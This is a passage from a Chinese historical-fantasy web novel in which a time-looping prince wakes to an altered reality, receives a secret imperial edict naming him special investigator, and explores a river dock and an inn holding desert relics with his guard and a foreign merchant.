父皇对二皇子的警惕已提到最高,对三皇子的倾向也已明朗,甚至开始暗中布局。
这意味着,在改变后的现实里,二皇子篡权的成功基础——父皇的猝不及防——已然不复存在。
父皇必然会对二皇子及其党羽采取预防措施,加强监控,甚至可能提前剪除其羽翼。
那么,现实中的此刻,坐在龙椅上的,很可能依旧是父皇昭明帝!
朝局虽然会因太子被废而动荡,但绝没有到二皇子一手遮天、可以随意处置兄弟的地步。
沈砚……他很可能依旧是宸察院指挥使,但其立场和任务,或许已从二皇子的心腹、押送者,变成了奉父皇之命、执行某种特殊任务的官员。
他的态度,必然会发生天翻地覆的变化。
最后,是星**。
这把从三皇子处得到的、工艺特殊的燧发手铳,是验证现实是否被改变最直观、也最私人化的物证。
在改变前的现实世界,他从未在梦境中成功说服三皇子,更未曾得到此枪。那么现实中的他,自然不可能拥有星**。
但在改变后的现实,如果梦境的影响确如他所推测,那么他成功取得星火这件事,就应当被固化到现实的时间线中。
这意味着,当他此刻在现实中醒来,这把枪……很可能就躺在他此刻所在的船舱内,或者至少,以某种合理的方式存在于他触手可及的地方!这是他验证梦境改变现实理论最关键、也最私密的一环。
“如果醒来时,星火就在身边……如果沈砚的态度不再是押解囚犯……如果京中传来的消息是父皇依旧在位,正在深查太子案背后的隐秘……”
周昕阳低声自语,眼中闪烁着混合了期待、紧张与一丝不易察觉亢奋的光芒。
他预计不错,这次打破循环,已经是板上钉钉的了。
那么现实随之改变,也在情理之中。
这一轮梦境,他主动地、有方向地改写现实的历史!
将现实世界引导到对他有利的方向……
怀表的秒针,不疾不徐地走着……
【8:45】
【8:50】
【8:55】
……
时间一分一秒地逼近那个临界点。
周昕阳将怀表紧紧握在掌心,感受着那金属外壳传来的微凉与机芯规律的震动。他闭上眼睛,不再去强迫自己思考,而是将全部心神放松,去感受、去捕捉那种熟悉的、从梦境深处浮起的抽离感……
船舱的摇晃感似乎隐约传来……
江水拍打船体的声音由远及近……
指尖似乎触碰到了某种冰冷坚硬的金属轮廓,带着胡杨木的温润和宝石的微凉……是星火吗?还是错觉?
鼻端仿佛闻到了船舱内特有的、混合了木材、江水与淡淡熏香的气息……
怀表在掌心,似乎轻微地震动了一下,表壳内侧那个微小的浮雕纹路,仿佛有微光一闪而逝……
【9:14】。
最后的时刻。
周昕阳的呼吸变得极其平缓,心跳却不由自主地加快。
他知道,答案即将揭晓。
是重回那个被沈砚监控、前路未卜的囚笼?
还是踏入一个被自己亲手扭转、危机与机遇并存的崭新棋局?
黑暗,如期而至,温柔地包裹上来。
但在意识彻底沉入虚无的前一瞬,他仿佛听到了一声极其轻微的、并非来自怀表、却仿佛源自灵魂深处的——
“咔嚓。”
像是锁扣解开。
又像是……齿轮,咬合上了全新的轨
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道。
“呼——”
周昕阳猛地睁开了眼睛。
映入眼帘的,是熟悉的、随着水波微微起伏的木质舱顶。
墨蛟号特有的、混合了桐油、陈旧木材与潮湿水汽的气息,清晰地钻入鼻腔。
窗外,天色依旧昏暗。
江水流淌的声音规律而永恒。
他回来了。
从那个惊心动魄、成功破局的梦境,回到了现实。
但这一次,周昕阳没有立刻弹坐起来,也没有大口喘息,他只是静静地躺着,用最快的速度感知着周遭的一切。
身体……没有梦境中熬夜奔波后的极度疲惫,只有正常睡眠后的些微慵懒。
周昕阳指尖下意识地收紧,掌心传来熟悉的、银壳怀表冰凉的触感。
他将其举到眼前,弹开表盖。
表盘上,幽蓝的夜光早已褪去,在明亮的阳光下,指针清晰无误地指向——
【3:15:45】。
依旧是【3:15】苏醒,一切一如往昔。
周昕阳深吸一口气,强压下立刻检查怀中星**的冲动,而是竖起耳朵,仔细倾听舱外的动静。
没有沈砚那如同附骨之疽、永远守在门外的、刻意放轻却逃不过他感知的呼吸声。
也没有宸察卫那种特有的、冰冷而规律的巡视脚步声。
舱外很安静,只有水手们隐约的吆喝和船只行进的正常声响。
这气氛……与之前几轮醒来时那种无形的压抑与监控感,截然不同。
周昕阳缓缓坐起身,目光如电,迅速扫过舱内。
陈设依旧,与他入睡前并无二致。但……他的目光,猛地定格在枕边。
那里,多了一个东西。
一个深棕色、以某种厚实防水的油鞣皮革精心缝制的、巴掌大小的腰包,式样古朴,并非中原常见,倒有几分西域风格。腰包的口用牛筋绳紧紧系着。
周昕阳的呼吸瞬间屏住,他伸出手,指尖有些微不可察的颤抖,解开了牛筋绳,打开了腰包。
里面,衬着柔软的深色绒布。
一把深棕色与银色交织、鹰隼**、镶嵌红蓝白三色宝石的华丽燧发手铳,静静地躺在那里,枪身泛着幽冷的、属于墨玉钢的暗沉光泽,宝石在阳光下折射出细微的炫光。
旁边,是一个小巧的皮质分格匣,里面整齐排列着数十颗打磨光滑的铅丸,以及两个密封的小锡罐,不用打开,也能猜到里面是特制的**和燧石。
星**。
它真的在。
从梦境的馈赠,变成了现实的拥有。
周昕阳紧紧握住冰冷的枪身,那沉甸甸的、充满力量感的触感,无比真实。
他成功了!
现实真的改变了……
与此同时,舱门外传来了脚步声。不疾不徐,沉稳有力,停在了门口。
然后,是两声克制而清晰的叩门声。
“咚,咚。”
接着,是沈砚那依旧清冷平静、但语调似乎与以往有些微妙不同的声音,透过舱门传来:
“王爷,您醒了吗?泽口堰码头已至,船只即将靠岸。另外……京城有最新旨意传来,需即刻向您禀报。”
第125章 圣旨与稽查特使
京城?
旨意?
周昕阳的心脏不受控制地加速跳动了几下,他迅速将星**和配套的弹丸**重新收回那个西域风格的皮质腰包,藏于枕下隐秘处。
然后,他深吸一口气,强迫自己迅速镇定下来,脸上恢复了一贯的、带着些许因梦魇而显得疲惫的平静神色。
“进来。”周昕阳开口道,声音带着刚醒不久的低哑。
舱门被推开,沈砚走了进来。
依旧是那一身标志性的玄色窄袖劲装,身形挺拔如松,面容冷峻。但周昕阳敏锐地捕捉到,沈砚看向他的眼神,与之前那种纯粹的、如同审视囚犯或重要物件的冰冷审视,有了极其细微的不同。
那眼神中,多了一丝……难以言喻的复杂。
是探究,是评估,或许……还有一丝被强行压制下去的、属于执行者的恭敬与疏离?
更重要的是,沈砚走进来时,并未像以往那样,带着两名如影随形的宸察卫守在门口,而是独自一人,而且,他没有随手关门,舱门保持着半开的状态,这更像是一种表示坦荡、无秘密监视的姿态。
“沈大人,”周昕阳率先开口,语气平淡,仿佛只是寻常询问,“泽口堰到了?何时靠岸?京城有何旨意?”
沈砚在距离床榻数步外站定,并未过于靠近,微微躬身行礼,动作标准却并无之前的僵硬感:“回王爷,船只已开始降帆减速,约莫一刻钟后便可停靠泽口堰码头。至于京中旨意……”
他顿了顿,从怀中取出一卷明黄色、以金线绣龙纹的锦缎卷轴,双手奉上,声音清晰而平稳:“陛下有旨,八百里加急送至沿途驿站,由宸察院专线传递,命微臣在王爷醒后,即刻宣示。”
圣旨!
而且是八百里加急!
专线传递!
周昕阳的心猛地一沉,随即又提了起来。
昭明帝的亲笔圣旨,如此紧急地追到船上,内容会是什么?
是对太子案的最终处置?
是对自己的安排?还是……与他在梦境中预埋的那些警告有关?
周昕阳立刻起身,整了整身上略显褶皱的寝衣,走到舱室中央,面向沈砚手中圣旨的方向,便要撩袍下跪接旨。
虽然他是亲王,但面对代表皇帝的圣旨,仍需行大礼。
“王爷且慢。”沈砚却忽然开口阻止,他上前一步,语气依旧平稳,但多了一丝不易察觉的缓和,“陛下有口谕:此旨非朝堂明发,乃密旨,泽川王可站着接旨,不必跪拜。接旨后,阅后即焚,不得外传。”
密旨!
站着接旨!
阅后即焚!
这几个词,每一个都透着不同寻常的意味。
这绝非普通的嘉奖或申饬,而是涉及隐秘、需要极度保密、且带有某种体恤或特殊授权性质的旨意。
周昕阳心中念头飞转,面上却只是露出一丝适当的惊讶与恭谨,止住了下跪的动作,微微躬身:“儿臣接旨。”
沈砚这才展开圣旨,用他那清晰而毫无情绪起伏的声音宣读:
“奉天承运皇帝,诏曰:”
“太子炳宸,狂悖失德,阴蓄异志,私制僭越之物,暗行巫蛊邪术,诅咒君父,窥伺神器,实乃人伦尽丧,天理难容。着即废为庶人,圈禁宗人府,非诏不得出。皇后长孙氏,教养无方,失察纵容,难辞其咎,着褫夺封号,移居冷宫思过。长孙一族,结交奸佞,内外勾连,着宸察院、刑部、大理寺三司会审,严查其不法事,依律严惩,绝不姑息!”
开头部分,与周昕阳预料的差不多,是对太子、皇后及长孙一族的最终判决。
废太子、圈禁、夺后位、查外戚,手段凌厉,毫不留情。
这与他之前循环中得到的消息基本吻合,只是此刻由正式的圣旨确认,显得更加不容置疑。
但接下来的内容,让周昕阳的心跳骤然加快。
“泽川王昕阳,忠勤敏达,洞察机先,于东宫悖逆之事,首发其奸,稳定社稷有功。着即加封食邑五百户,赐金帛若干,以彰其功。”
嘉奖来了。
但这只是铺垫。
沈砚的声音微微一顿,似乎连他都对后面的内容感到一丝凝重,随即继续念道:
“然,东宫之事,牵连甚广,幽深难测。铁箱所藏,尤为诡谲,非独巫蛊厌胜,更涉前朝秘辛、江湖邪术,乃至……不可言说之禁忌。其背后或有魍魉潜伏,图谋不轨,祸及天下。”
“兹事体大,朕心甚忧。为彻查根源,廓清妖氛,特命泽川王昕阳,以亲王之尊,暂领稽查特使之职,专司督办东宫铁箱一案之深挖细查事宜。一应关联人、事、物,无论涉及宫内宫外、朝野上下,许你密查暗访之权,遇紧急情事,可凭此密旨,调动沿途州府兵马及宸察院暗线协助,便宜行事,先斩后奏!”
“着宸察院指挥使沈砚,率精锐二十,专司护卫泽川王周全,并协理查案,一应行动,需听从泽川王调遣,遇事不决,可密折直奏于朕。沿途官员,需尽力配合,不得有误。”
“泽川王昕阳接旨后,不必急于返京。可循现有行程,徐徐而行,沿途详加查访,尤其注意西域商路、西南边陲往来之异常人物、货物、消息。”
“若有线索指向西南,可酌情前往探查。”
“务求查明铁箱背后之黑手及其真正图谋,以绝后患。”
“钦此。”
圣旨宣读完毕,舱内一片寂静。
周昕阳保持着微微躬身的姿势,脑中却已掀起了滔天巨浪。
成功了!
彻底成功了!
父皇不仅完全采信了他在梦境中的推测,甚至将上古遗迹、禁忌力量等模糊的指向,明确为不可言说之禁忌!
并且,赋予了他在现实中几乎不敢想象的权力——稽查特使,密查暗访之权,调动兵马、宸察院暗线,便宜行事,先斩后奏!
这几乎是将一把尚方宝剑,塞到了他手里!
更重要的是,父皇明确指示他不必急于返京,可以徐徐而行,沿途查访,甚至酌情前往线索指向的西南!
这简直是天大的自由!
这意味着,他暂时摆脱了必须立刻回京、可能陷入朝堂争斗的窘境。
周昕阳可以利用这个身份和权力,在路途中做更多的事情——比如,深入调查萨迪克商会和阿月,比如,寻找与青铜圆盘、星纹盘相关的线索,甚至……为将来可能前往西南绝域做准备!
而沈砚,也从押送者和监视者,变成了名义上需听从调遣的护卫与协理!虽然遇事不决可密折直奏,保留了其直达天听的特权,但这姿态的
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转变,已然是云泥之别!
“儿臣……接旨!谢父皇隆恩!定当竭尽全力,查明真相,不负父皇重托!”周昕阳压下心中激荡,双手接过沈砚递来的圣旨,语气郑重。
沈砚将圣旨交到周昕阳手中,后退一步,再次躬身,这次的态度明显比之前更加正式:“宸察院指挥使沈砚,奉旨护卫、协理王爷查案。自今日起,王爷但有差遣,沈砚及麾下二十精锐,莫敢不从。唯望王爷,以圣体安危为重,行事多加谨慎。”
这番话,算是正式表明了态度。
周昕阳点了点头,将密旨小心收好。他看了一眼沈砚,忽然问道:“沈大人,父皇旨意中提及不必急于返京,徐徐而行。却不知,依沈大人之见,本王此刻,是当立刻下船,于这泽口堰查访,还是继续乘船前行?”
他将第一个问题抛给了沈砚,既是试探其现在的配合程度,也是想听听这位宸察院指挥使的建议。
沈砚似乎早有准备,不假思索地答道:“回王爷,泽口堰乃水陆要冲,南来北往、东西交汇,鱼龙混杂,消息灵通,本是查访之上选。”
“尤其西域商队多于此集散,或与王爷所查之西域关联线索契合。然,陛下旨意中亦有沿途详加查访之语。”
“微臣以为,王爷或可于此地停留一两日,明察暗访,若无特殊发现,再行登船不迟。至于行程安全及一应安排,微臣自会布置妥当。”
建议中肯,考虑周全,且完全以周昕阳的查案需求为出发点。这态度,与之前那种一切以押送回京为最高指令的冰冷,已然是天壤之别。
“沈大人思虑周详,便依此议。”周昕阳从善如流,“稍后靠岸,烦请沈大人安排一下,本王要在这泽口堰走走看看。另外……那位萨迪克商会的侍女阿月,或许对本王了解西域风物、方便查访有所帮助,可让她随行。”
他故意提及阿月,想看看沈砚的反应。
沈砚神色毫无变化,只是平静应道:“是,微臣这就去安排。阿月姑娘身份特殊,微臣会加派人手,确保王爷与其接触时的安全与……隐秘。”他特意在隐秘二字上稍作停顿,显然明白周昕阳接触阿月绝非只是为了……了解西域风物。
“有劳沈大人了。”周昕阳心中更加安定。看来,现实的改变是全方位的,沈砚不仅接受了新的任务,似乎对某些内情也心知肚明,并且选择了配合。
沈砚不再多言,行礼后便退出舱室,轻轻带上了门。
舱内,再次只剩下周昕阳一人。
周昕阳缓缓走回床边,坐下,手指无意识地拂过枕下那藏着星**的皮质腰包。
窗外,泽口堰码头的喧闹人声、商贩叫卖声已经隐隐传来。
新的旅程,或者说,一场在全新现实基础上的、更加主动、也更加凶险的博弈,即将在这座繁华的枢纽码头拉开序幕。
而他,周昕阳,不再是那个身不由己的囚徒,而是手持密旨、背负重任、拥有一定自**的稽查特使。
阿月,萨迪克商会,青铜圆盘,星纹盘,上古遗迹,幕后黑手……
所有的线索,似乎都随着这改变的现实,变得清晰而可触及。
周昕阳张开双臂,享受着自由的气息。
这种感觉,真是太好了……
第126章 泽口堰
周昕阳站在舷窗边,深深吸了一口窗外涌入的、带着江水湿气与码头喧嚣的、名为自由的空气。
冰冷却真实,混杂着无数可能性。
这种感觉,久违了,也好极了。
周昕阳并没有沉溺于这片刻的放松。
机遇与危险永远并存。
父皇给予的权柄和自由,是信任,也是考验,更意味着他将直接面对那隐藏在暗处的、能制造“钉魂偶”和“星纹盘”的恐怖势力。一步踏错,万劫不复。
周昕阳上床休息了一会儿后,差不多五点左右,才爬了起来。
随后,他开始为即将到来的码头之行做准备。
首先,是更换衣物。
周昕阳褪下略显随意的寝衣,换上了一身用料考究但款式简洁的深蓝色常服,外罩一件同色斗篷,既能抵御江风,也能在一定程度上遮掩面容,又不失亲王体面。腰间悬挂上一枚代表身份的蟠龙玉佩,又将那卷至关重要的密旨用油纸仔细包裹,贴身收藏。
然后,是武器。他取出枕下那个皮质腰包,打开,再次审视着那把名为“星火”的燧发枪。
冰冷的金属触感,精美的纹饰,沉甸甸的分量。
他按照之前梦境中从三皇子那里得知的、以及自己凭借超凡记忆力回忆起的装填步骤,极其小心地操作起来:打开**罐,用量勺取出一份颗粒均匀的黑色**,从枪口倒入,用通条轻轻压实,然后放入一颗打磨光滑的铅丸,再次压实,最后在引**池中倒入少许更细的引**,合上燧石**下的钢盖。
整个过程他做得缓慢而专注,确保没有一丝差错。燧发枪不比火绳枪,走火或炸膛的风险更大,必须小心,虽然星**的材质、威力、工艺远超寻常燧发枪,但该小心,还是要小心一点。
装填完毕,他将**扳到半待发状态,这才将枪插回腰包特制的枪套内,又将分格匣中的铅丸、**、燧石等物检查一遍,确保齐全,然后将腰包牢牢系在腰间,用外袍下摆稍稍遮掩。
沉甸甸的坠感,带来一种踏实的危险。
最后,他拿起那枚银壳怀表,弹开表盖。
【5:25】
距离靠岸还有一会儿。
他将怀表也收好。
做完这一切,他再次检查了一遍自身,确认没有遗漏。
然后,他走到舱门边,拉开了门。
门外,沈砚果然已等候在侧。他身后不远处,站着四名身着便装、但眼神锐利、身形精悍的男子,显然是那二十精锐中的一部分。他们看似随意地站在廊道各处,却隐隐封锁了所有可能接近的路径,姿态警惕而不张扬。
“王爷。”沈砚微微颔首,“船只已靠稳。码头及周边街道,微臣已初步勘查,暂无异常。阿月姑娘已在码头栈桥处等候。王爷是现在下船,还是先用些早膳?”
“先下船吧,在码头上看看。”周昕阳迈步走出舱门,目光扫过那几名便装宸察卫,语气随意,“沈大人安排得周到。这几位兄弟,就跟着吧,不必靠得太近,引人注目反而不美。”
“是。”沈砚应道,对那四人做了个手势。四人会意,立刻分散开来,两人先行下船融入码头人群,两人则落后一段距离,不即不离地跟在周昕阳和沈砚身后,目光警惕地扫视着周围。
一行人走下舷梯,踏上了泽口堰宽阔而繁忙的码头。
时值清晨,码头上已是人声鼎沸。
巨大的货船、精巧的客舟、来自天南海北的各式船只密密麻麻地停靠在泊位上,装卸货物的号子声、商贩的吆喝声、旅客的喧哗声、牲畜的嘶鸣声交织成一片沸腾的海洋。
空气中混合着鱼腥、汗味、香料、茶叶、皮革、以及江水特有的气息。
周昕阳驻足片刻,目光缓缓扫过这片充满生机与混乱的景象。这里汇聚着三教九流,也流淌着来自四面八方的金钱与信息。确实是个查访的好地方。
“王爷,阿月姑娘在那边。”沈砚低声示意。
周昕阳顺着他示意的方向看去,只见在码头一侧相对僻静的栈桥边,阿月依旧是一身素色衣裙,轻纱遮面,正垂首静立。
她身边站着两名作普通家仆打扮的汉子,看似随意,但站姿沉稳,目光有神,显然是沈砚安排的人。
似乎察觉到视线,阿月抬起头,目光隔着面纱与人群,与周昕阳遥遥对上。
她似乎微微顿了一下,随即垂下眼帘,姿态恭顺地朝着周昕阳的方向,遥遥一福。
周昕阳迈步走了过去。
沈砚落后半步跟随,那两名宸察卫则在不远处停下,状若闲逛,实则封锁了角度。
“阿月姑娘,久等了。”周昕阳走到近前,语气平和。
“奴婢参见王爷。”阿月声音透过面纱传来,依旧是那份带着异域口音的恭顺,“王爷但有差遣,奴婢随时听候。”
“嗯,”周昕阳点点头,目光看似随意地扫过码头上那些肤色各异、服饰奇特的西域商人,“孤对这泽口堰的风物颇感兴趣,尤其想看看西域来的新奇玩意儿。你既是萨迪克商会的人,对此地应不陌生,便为孤引路介绍一番吧。沈大人,”他转向沈砚,“你带两人跟着即可,其他人……散开些,莫要扰了这市井气象。”
“是。”沈砚应下,对那两名“家仆”点了点头,两人立刻退开几步,混入人群,只远远缀着。
安排妥当,周昕阳这才对阿月道:“走吧,随便看看。若有你觉得有趣、或是……不太寻常的西域货物、人物,不妨与孤说说。”
“是,王爷请随奴婢来。”阿月侧身引路,声音平稳,但周昕阳敏锐地察觉到,她垂在身侧的手指,几不可察地蜷缩了一下。
两人一前一后,沈砚落后数步,开始沿着码头边的货摊和店铺缓缓前行。
阿月果真对这里颇为熟悉,不时低声介绍着一些西域特产的香料、毛皮、宝石,甚至能说出些不同产地货品的细微差别和行情,俨然一位精明的行家。
周昕阳听得认真,不时发问,问题都围绕着货物本身和商路,显得兴致勃勃,仿佛真是一位对西域充满好奇的年轻王爷。但他眼角的余光,却始终注意着阿月的每一个细微反应,以及周围是否有异常的目光或动静。
走了一小段,经过一个售卖西域乐器和小玩意的摊位时,阿月忽然停下脚步,拿起一支造型奇异的、像是短笛又似埙的骨质乐器,指尖在乐器尾端一个不起眼的、类似卡榫的凸起上轻轻抚过,然后用粟特语对摊主说了句什么。
那摊主是个满脸风霜的粟特老商人,闻言抬头看了阿月一眼,又飞快地扫了一眼她身后的周昕阳和沈砚,眼中闪过一丝讶异,但很快掩饰过去,也用粟特语回了一句,语气似乎带着几分恭敬和……迟疑?
阿月微微点头,放下乐器,用中原官话对周昕阳道:“王爷,这是骨羌笛,出自更西边的羌人部落,音色苍凉,据说可模拟草原狼嚎。不过这支做工普通,音色未必佳。”
周昕阳哦了一声,似乎不以为意,目光却被摊位上另一件东西吸引——那是一小块未经打磨的、颜色暗沉、却隐隐有银蓝色星点闪烁的矿石,随意丢在一堆杂石里。
“这石头倒是特别。”周昕阳俯身拿起那块矿石,入手冰凉沉重,与那青铜圆盘和铁箱中金属板的材质感觉有几分相似,尤其是那银蓝色的星点……
“这也是西域所产?叫什么名目?”
摊主看了一眼,用生硬的中原话道:“这位贵人,这、这叫星屑铁原石,是从极西的荒漠里捡来的,看着好
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看,其实没什么用,硬得很,很难打磨成型,贵人要是喜欢,随便给几个钱就行。”
星屑铁?周昕阳心中一动。他摩挲着矿石表面,那冰凉的触感和隐隐的银蓝光泽,让他莫名联想到梦境中璇玑枢锁芯符号的光芒,以及……怀中那青铜圆盘偶尔闪现的微光。
“有点意思,孤买了。”周昕阳示意沈砚付钱,随手将矿石揣入怀中,他看似随意,却注意到在他拿起矿石时,阿月的目光似乎在那矿石上多停留了一瞬,虽然很快移开。
三人继续前行。又逛了片刻,来到一处相对空旷的码头角落,旁边是几间看起来像是商会仓库的高大建筑,其中一间的门楣上,挂着一面熟悉的、绣着金色骆驼与星辰图案的旗帜——萨迪克商会的标志。
就在这时,那仓库的门忽然打开了,一个熟悉的身影带着几名随从走了出来,正是昨日登船献上青铜圆盘的管事优素福。
优素福一眼就看到了周昕阳一行人,先是一愣,随即脸上立刻堆起殷勤的笑容,快步迎了上来,抚胸行礼:“哎呀!这不是尊贵的泽川王殿下吗?小人优素福,拜见王爷!王爷您怎么亲自到码头来了?可是对昨日那件小玩意儿还不满意?或是有什么需要小人效劳的?”
他说话间,目光飞快地从周昕阳脸上扫过,又瞥了一眼他身旁垂首的阿月,最后落在后面神色平静的沈砚身上,眼中闪过一丝不易察觉的谨慎。
“优素福管事,不必多礼。”周昕阳摆了摆手,语气随意,“孤只是闲来无事,到码头上逛逛,见识一下这泽口堰的繁华。”
“正好遇到阿月姑娘,便请她做个向导。昨日的铜盘,孤瞧着甚是有趣,已收好了。”
“你们商会这仓库,看起来规模不小,里面可还有什么新奇货物?”
优素福笑容更盛:“王爷过奖了!能为殿下效劳,是小人的荣幸!这仓库里多是些准备发往各地的寻常货物,丝绸、茶叶、瓷器之类,并无甚新奇之物,怕是污了殿下的眼。不过……”
他话锋一转,压低了些声音,“殿下若是对西域古物奇珍感兴趣,小人倒是知道,近日有一支从于阗那边过来的小商队,带了几件据说从沙漠古城废墟里挖出来的老物件,很是有些年头,样子也古怪,就停在码头西头的胡杨林客栈。”
“王爷若有闲暇,不妨移步一观?只是……那些东西来路不明,真假难辨,小人也不敢担保其价值。”
于阗?
沙漠古城废墟?
老物件?
周昕阳心中微动,面上却不动声色:“哦?沙漠古城里出来的东西?这倒有点意思。左右无事,便去瞧瞧也无妨。优素福管事可愿同往,帮忙掌掌眼?”
“能陪殿下赏鉴古物,是小人求之不得的福分!”优素福连忙应下,又看了一眼阿月,“阿月,你也跟着吧,殿下有什么想问的,你也好回话。”
“是。”阿月低声应道。
“沈大人,”周昕阳看向沈砚。
“微臣随行护卫。”沈砚言简意赅。
“好,那就去胡杨林客栈看看。”周昕阳做出了决定。
优素福在前引路,一行人转向码头西头。
周昕阳看似悠闲地跟着,心中却已提起十二分的警惕。
优素福的出现,是巧合,还是有意?
那所谓的于阗商队和沙漠古城老物件,是否又是一个精心准备的诱饵?
就像昨日的青铜圆盘一样?
阿月……她在其中,又扮演着什么角色?
他摸了摸怀中那块冰凉的星屑铁原石,又感受了一下腰间星**沉甸甸的存在。
前路未知,但至少,他早有准备,现在他可是稽查特使,谁敢乱来?
他倒要看看,这潭水,到底有多深。
第127章 胡杨林客栈
优素福在前引路,一行人转向码头西头。
周昕阳看似悠闲地跟着,目光欣赏着沿途的码头风光,心中却已提起十二分的警惕。
优素福的出现,是巧合,还是有意?
那所谓的于阗商队和沙漠古城老物件,是否又是一个精心准备的诱饵?
就像昨日的青铜圆盘一样?
阿月……她在其中,又扮演着什么角色?
周昕阳心中思索着,手指无意识地摩挲着怀中那块冰凉的“星屑铁”原石,粗糙的触感和隐隐的银蓝光泽似乎带着某种奇异的韵律,同时,腰间星**沉甸甸的存在,也带来一种踏实的底气。
前路未知,但至少,他早有准备。
稽查特使的身份,便是他此刻最硬的护身符。
他倒要看看,这潭水,到底有多深。
就在周昕阳心中念头转动,目光扫过前方优素福略显殷切的背影,以及身旁阿月始终低垂、恭顺的侧脸时,异变突生!
一股庞大、杂乱、光怪陆离的信息流,如同决堤的洪水,又似被强行撬开的记忆闸门,毫无预兆地在他脑海中轰然炸开!
不,这不是外来的信息!
这是……属于他自己的记忆!
“嗯?”
“这是?”
“打破循环后的记忆……”
剧烈的眩晕和刺痛感让周昕阳瞬间顿住脚步,脸色有些扭曲。
“王爷?”身旁的沈砚第一时间察觉异常,闪电般伸手扶住了他的手臂,声音带着一丝不易察觉的紧绷,“您怎么了?可是身体不适?”
走在前面的优素福也停下脚步,惊讶地回头看来。
阿月同样抬起眼帘,面纱后的目光落在周昕阳陡然苍白的脸上,眼中闪过一丝极快、极复杂的情绪,似是担忧,又似是……某种了然?
“无事……”周昕阳强忍着脑中翻江倒海般的剧痛和信息冲刷,摆了摆手,声音有些发干,“许是江风大了些,有些头晕。歇一下就好。”
他借力站稳,闭上眼,强迫自己适应这突如其来的、海啸般的记忆洪流。
无数画面、声音、感受、对话……
支离破碎却又无比真实地涌现、碰撞、重组……
他看到了自己在梦境结束后,并未立刻返回封地。
而是被留了下来。
那是父皇在养心殿的一次漫长而隐秘的召见……
周昕阳听见了父皇深沉而疲惫的声音,提及铁箱邪物已由二公主与钦天监正联手,以秘法封于皇陵地宫深处。
提及对太子背后老道士及璇玑遗迹的追查,已由宸察院最精锐的幽影小组秘密进行……
昭明帝的声音,在周昕阳的耳旁响起。
“小老九,根据你所言,那个老道士,筹谋多年,算计太子,算计你,设下巫蛊之术,恐怕大有所图。”
“璇玑遗迹、地脉之眼之事,你就不必操心了,朕自会处理。”
“老二之事,朕心中有数。”
“你回封地之后,等待通知,朕自会派人联系你……”
无数记忆拼接、归拢,周昕阳彻底明白了当前的处境。
京城十日,父皇进行了深远的布局。
父皇的那句自会处理……绝非空话。
幽影小组的秘密追查,皇陵地宫的邪物封存,对二皇子的暗中戒备与掣肘,以及对他这个意外破局者的特殊安排与有限授权……这一切,都在那十天里悄然成型。
那十天,周昕阳被收走了如朕亲临的令牌,行动受到了约束,除了配合调查外,几乎天天待在房间里面,外面有人保护。
说是保护,实则是监视。
这也无可厚非。
周昕阳缓缓吐出一口浊气,将脑海中翻腾的记忆与思绪强行压下。眩晕与刺痛感已然消退,取而代之的是一种冰冷的、全神贯注的清明。
他睁开眼,目光已恢复平静,甚至带着一丝恰到好处的、因头晕而残留的慵懒,对依旧面带关切的优素福和沈砚笑了笑:“让诸位见笑了。这梦魇之症,时好时坏,倒是扫了雅兴。走吧,莫让那商队主人家久等。”
优素福连忙道:“王爷说哪里话,您的身子要紧。要不……今日暂且作罢,王爷先回船上歇息,改日再看不迟?”他话虽如此,眼神却透着几分试探。
“无妨,既然来了,哪有空手而回的道理。”周昕阳摆摆手,语气随意却不容置疑,“况且,孤对那沙漠古城的东西,确实好奇得紧。带路吧。”
“是,是,王爷这边请。”优素福不再多言,转身继续引路,脚步却似乎比之前更轻快了几分。
沈砚沉默地跟在周昕阳侧后方半步,目光如鹰隼般扫视着周围,对周昕阳方才的解释不置可否,但全身的肌肉都处于一种微微绷紧的戒备状态。
他带来的两名便装宸察卫,也悄然调整了位置,一前一后,将周昕阳护在中间,却又不过分引人注目。
阿月依旧垂首跟在周昕阳另一侧,仿佛刚才的一切都与她无关。但周昕阳能感觉到,她那被面纱遮掩的呼吸,似乎比之前略微急促了一丝。
一行人穿过码头西头相对冷清的区域,绕过几排堆积如山的货箱和闲置的破旧小船,前方出现了一片稀疏的胡杨林。
深秋时节,胡杨叶子大半金黄,在晨风中簌簌作响,映着后方土黄色的简陋建筑,倒真有几分大漠边缘客栈的苍凉意味。
胡杨林客栈的招牌就挂在一栋两层土坯小楼的门口,木头已被风沙侵蚀得看不出本色,字迹模糊。客栈规模不大,门脸也简陋,进出的多是些风尘仆仆、肤色黝黑、穿着带有明显西域或西南边地特色的行商脚夫,与码头主区域的繁华喧嚣截然不同。
优素福显然是这里的常客,门口蹲着抽旱烟的一个掌柜模样的中年汉子见到他,立刻站起身,脸上堆起生意人惯有的笑容,用带着浓重口音的中原话打招呼:“优素福老爷,您来了!快里面请!您要看的货,都给您备着呢!”
“嗯,带路吧,今日有贵客。”优素福矜持地点点头,示意掌柜的看向身后的周昕阳。
那掌柜飞快地扫了周昕阳一眼,见他衣着气度不凡,身边跟着的沈砚等人也非寻常护卫,眼中闪过一丝精明,腰弯得更低了:“贵人光临,小店蓬荜生辉!几位爷,里面请,东西在后院厢房,安静!”
客栈内光线昏暗,弥漫着劣质烟草、羊奶和尘土混合的气味。掌柜领着他们穿过嘈杂的一楼大堂,里面坐着几桌正在用早膳的商旅,从侧门进入一个狭小的天井,又穿过一条堆满杂物的甬道,才来到一间独立的、房门紧闭的厢房前。
“就是这里了。”掌柜掏出钥匙打开门锁,推开沉重的木门,一股更浓郁的、混合着陈旧皮**、香料和某种难以形容的、类似金属锈蚀又似矿物尘土的气息扑面而来。
厢房内没有窗户,只点着一盏昏暗的油灯。借着灯光,可以看到里面空间不大,地上铺着几张磨损严重的毡毯,毡毯上零零散散放着七八件大小不一、形态各异的物件。
“几位爷慢慢看,小的就在外面候着,有事您吩咐。”掌柜很识趣地退了出去,并带上了门。
优素福上前一步,指着地上的物件,对周昕阳介绍道:“王爷请看,就是这几样。据那商队的人说,都是从于阗西边沙漠深处,一处被风沙半掩的古城废墟里挖出来的。您看这个,”
他蹲下身,拿起一个巴掌大小、黑黢黢的、像是某种动物头骨的残片,但骨质异常沉重,表面有腐蚀的孔洞和黯淡的金属镶嵌痕迹,“这像是某种祭祀器皿的残件,看这镶嵌工艺,不似当代所有。”
他又指向一个类似短柄杵、但一端有螺旋凹槽的金属物件:“这个,看不出用途,但材质奇特,非铜非铁,历久不锈。”
还有几片雕刻着怪异符号的陶片,一小串用未知兽骨和彩色石子穿成的项链,以及一个只有拳头大小、锈蚀严重、依稀能看出是某种带盖盒子的铜器。
周昕阳的目光缓缓扫过这些老物件,神色平静,似乎只是在欣赏一些有趣的古董。但在他眼中,这些物品的细节被迅速放大、分析。
